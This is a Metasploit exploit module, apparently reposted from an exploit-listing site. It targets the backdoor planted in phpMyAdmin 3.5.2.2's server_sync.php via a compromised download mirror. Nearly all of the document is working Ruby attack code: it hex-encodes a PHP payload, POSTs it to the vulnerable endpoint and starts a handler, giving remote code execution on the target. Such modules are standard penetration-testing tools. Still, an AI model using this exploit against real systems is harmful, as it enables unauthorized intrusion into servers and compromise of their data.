Exploit for phpMyAdmin 3.5.2.2 server_sync.php Backdoor

## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-PHPMYADMIN_3522_BACKDOOR-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
        'Description' => %q{
          This module exploits an arbitrary code execution backdoor
          placed into phpMyAdmin v3.5.2.2 through a compromised SourceForge mirror.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-5159' ],
          [ 'OSVDB', '85739' ],
          [ 'EDB', '21834' ],
          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php' ]
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Compat' =>
                        {
                          'ConnectionType' => 'find',
                        },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space' => 262144, # 256k
        },
        'DefaultOptions' => {
          'WfsDelay' => 30
        },
        'DisclosureDate' => '2012-09-25',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('PATH', [ true, "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
    ])
  end

  def exploit
    uris = []

    tpath = datastore['PATH']
    if tpath[-1, 1] == '/'
      tpath = tpath.chop
    end

    pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

    res = send_request_raw({
      'global' => true,
      'uri' => tpath + "/server_sync.php",
      'method' => 'POST',
      'data' => pdata,
      'headers' => {
        'Content-Type' => 'application/x-www-form-urlencoded',
        'Content-Length' => pdata.length,
      }
    }, 1.0)

    handler
  end
end